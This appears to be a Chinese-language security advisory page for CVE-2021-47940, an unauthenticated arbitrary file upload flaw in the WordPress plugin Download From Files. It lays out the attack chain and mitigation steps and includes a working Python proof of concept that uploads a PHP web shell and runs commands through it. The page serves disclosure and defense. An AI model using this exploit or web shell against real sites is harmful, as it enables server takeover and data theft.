IPBUF安全漏洞报告
English
CVE-2021-47940 CVSS 9.8 严重

CVE-2021-47940 WordPress Download From Files任意文件上传漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47940
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin Download From Files

相关标签

任意文件上传WordPressRCECVE-2021-47940Web安全无需认证

漏洞概述

WordPress插件Download From Files在1.48及之前的版本中存在严重的任意文件上传漏洞。由于未对AJAX文件上传操作进行严格的身份验证和文件类型限制,未经身份认证的攻击者可以通过构造特殊的POST请求,绕过文件扩展名检查,向服务器上传恶意文件(如PHP Webshell)。成功利用该漏洞可能导致攻击者在受影响的服务器上执行任意代码,完全控制网站系统,造成严重的数据泄露和破坏。

技术细节

该漏洞的核心在于WordPress插件Download From Files对文件上传接口的安全控制缺失。具体来说,插件通过`admin-ajax.php`处理`download_from_files_617_fileupload`动作时,未对用户身份进行验证,导致未授权访问。更为严重的是,服务端仅依赖用户提交的`allowExt`参数来判断文件类型合法性,未在服务端进行硬编码的白名单校验或文件内容检查。攻击者通过构造特制的HTTP POST请求,将`allowExt`参数修改为允许PHP后缀,即可绕过前端或简单的扩展名过滤,将包含恶意代码的PHP文件上传至Web根目录。一旦文件上传成功,攻击者只需通过浏览器访问该文件路径,即可在服务器端执行任意系统命令,完全控制受害主机。

攻击链分析

STEP 1
侦察
攻击者识别目标网站是否安装了WordPress插件Download From Files,并确认版本号是否在1.48及以下。
STEP 2
构造请求
攻击者构造一个指向`/wp-admin/admin-ajax.php`的HTTP POST请求,包含恶意PHP文件,并设置`action`为`download_from_files_617_fileupload`。
STEP 3
绕过限制
请求中包含`allowExt=php`参数,欺骗服务器端逻辑,使其认为上传PHP文件是合法操作。
STEP 4
上传文件
服务器接收并处理请求,将恶意PHP文件保存到Web可访问的目录中。
STEP 5
执行代码
攻击者通过浏览器访问已上传的PHP文件URL,触发代码执行,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious PHP shell files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } # Data payload to bypass restrictions data = { 'action': 'download_from_files_617_fileupload', 'allowExt': 'php' # Manipulate parameter to allow executable files } try: response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print(f"[+] Check your shell at: {target_url}/[upload_path]/shell.php?cmd=whoami") else: print("[-] Exploit failed.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)

影响范围

WordPress Download From Files <= 1.48

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Download From Files插件。同时,检查Web目录中是否存在异常的可执行文件(如未知的.php文件)。通过服务器配置(如.htaccess或Nginx配置)禁止在uploads等上传目录执行PHP脚本,以阻断漏洞利用链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表